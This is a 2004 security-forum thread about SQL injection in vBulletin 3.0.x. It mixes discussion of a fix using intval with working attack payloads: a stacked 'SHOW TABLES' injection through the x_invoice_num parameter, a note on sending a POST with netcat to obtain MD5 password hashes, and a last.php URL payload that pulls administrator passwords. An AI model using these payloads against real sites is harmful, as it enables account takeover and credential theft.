Waraxe IT Security Portal
Login or Register
November 10, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 64
Members: 0
Total: 64
Full disclosure
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
APPLE-SA-10-28-2024-3 macOS Sequoia 15.1
APPLE-SA-10-28-2024-2 iOS 17.7.1 and iPadOS 17.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Sql Inject In VB 3.0.x !!
Post new topicReply to topic View previous topic :: View next topic
Sql Inject In VB 3.0.x !!
PostPosted: Thu Sep 16, 2004 8:18 am Reply with quote
Zilly
Regular user
Regular user
Joined: Sep 10, 2004
Posts: 7




hi every body ,, thanx for the nice forums i like it Smile

any way i want every body to take a look at this
http://www.securiteam.com/unixfocus/5BP0E15E0M.html
Very Happy well, its sql inject,, i'm studying it this days and i kinda wana help in this,

how to Execute this security hole and another important thing is how to fix it ??

thats all folks Embarassed

_________________
Zilly is Here Very Happy
View user's profile Send private message
Re: Sql Inject In VB 3.0.x !!
PostPosted: Thu Sep 16, 2004 10:39 am Reply with quote
Heintz
Valuable expert
Valuable expert
Joined: Jun 12, 2004
Posts: 88
Location: Estonia/Sweden




Zilly wrote:
hi every body ,, thanx for the nice forums i like it Smile

any way i want every body to take a look at this
http://www.securiteam.com/unixfocus/5BP0E15E0M.html
Very Happy well, its sql inject,, i'm studying it this days and i kinda wana help in this,

how to Execute this security hole and another important thing is how to fix it ??

thats all folks Embarassed


strange thing is that intval()- is used to get the value, but not used before passing to query Question .
anyway the trick is to "continue" (in this case here) sql query.

query ends like this: userid = " . $item_number[1]

so you POST your value to item_number. name of it is x_invoice_num and its value is something like valuea_valueb_valuec, ju must manipulate valueb, lets assume you posted something like this:
Code:
1; SHOW TABLES


then (depends on viewing part of script) you should see somewhere on the page, a list of tables that are in that database. and with little thinking you make more "useful" queries that this Smile
hint: mysql manual

fixing:
Code:

$item_number[1] = abs(intval($item_number[1]));

add this line somewhere before the query, and it should do it

_________________
AT 14:00 /EVERY:1 DHTTP /oindex.php www.waraxe.us:80 | FIND "SA#037" 1>Nul 2>&1 & IF ERRORLEVEL 0 "c:program filesApache.exe stop & DSAY alarmaaa!"
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
PostPosted: Fri Sep 17, 2004 5:41 am Reply with quote
Zilly
Regular user
Regular user
Joined: Sep 10, 2004
Posts: 7




thanx Heintz,, well i know some how that the file that contains the sql inject is authorize.php

what i'm tryin to do now is to inject but can i ask a question ??

when we use the authorize.php ?

i mean in normal not injecting ??

and thanx again ,,

Zilly

_________________
Zilly is Here Very Happy
View user's profile Send private message
PostPosted: Fri Sep 17, 2004 4:13 pm Reply with quote
zer0-c00l
Advanced user
Advanced user
Joined: Jun 25, 2004
Posts: 72
Location: BRAZIL!




how to explore this bug?
View user's profile Send private message
PostPosted: Fri Sep 17, 2004 5:35 pm Reply with quote
hebe
Advanced user
Advanced user
Joined: Sep 04, 2004
Posts: 59




is there any exploit for this
View user's profile Send private message
PostPosted: Fri Sep 17, 2004 8:49 pm Reply with quote
SteX
Advanced user
Advanced user
Joined: May 18, 2004
Posts: 181
Location: Serbia




Searching for exploits..

_________________

We would change the world, but God won't give us the sourcecode...
....Watch the master. Follow the master. Be the master....
-------------------------------------------------------
View user's profile Send private message
PostPosted: Sun Sep 19, 2004 8:42 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




I have played a little bit with that security bug and got some results.
Will share them tomorrow in this thread, so stay tuned!!! Very Happy
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Sep 22, 2004 8:36 pm Reply with quote
Zilly
Regular user
Regular user
Joined: Sep 10, 2004
Posts: 7




wow thanx man

my brain has been exploed LOL Very Happy

this time really i will not change the channel Very Happy Very Happy

Zilly

_________________
Zilly is Here Very Happy
View user's profile Send private message
PostPosted: Tue Nov 09, 2004 6:48 pm Reply with quote
Zilly
Regular user
Regular user
Joined: Sep 10, 2004
Posts: 7




after searching and reading and like this stuff
i found that i can excute this expliot by netcat
ex:
nc -n -v ***.***.***.*** 80
then i have to enter some POST command
after that i'll get the MD5 hash password ..

okay now we are near ... Smile

and i need help also ..

Very Happy

_________________
Zilly is Here Very Happy
View user's profile Send private message
PostPosted: Fri Nov 12, 2004 6:10 pm Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




new SQL injection found in VBulletin Forums 3.0.x

the Vulnerabilite found in last.php, last 10 topics hack.


last.php?fsel=,user.password%20as%20title,user.%20
%20%20%20username%20as%20lastposter%20FROM%20user,
thread%20%20%20%20%20WHERE%20usergroupid=6%20LIMIT%201


enjoy
View user's profile Send private message Visit poster's website
Sql Inject In VB 3.0.x !!
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.047 Seconds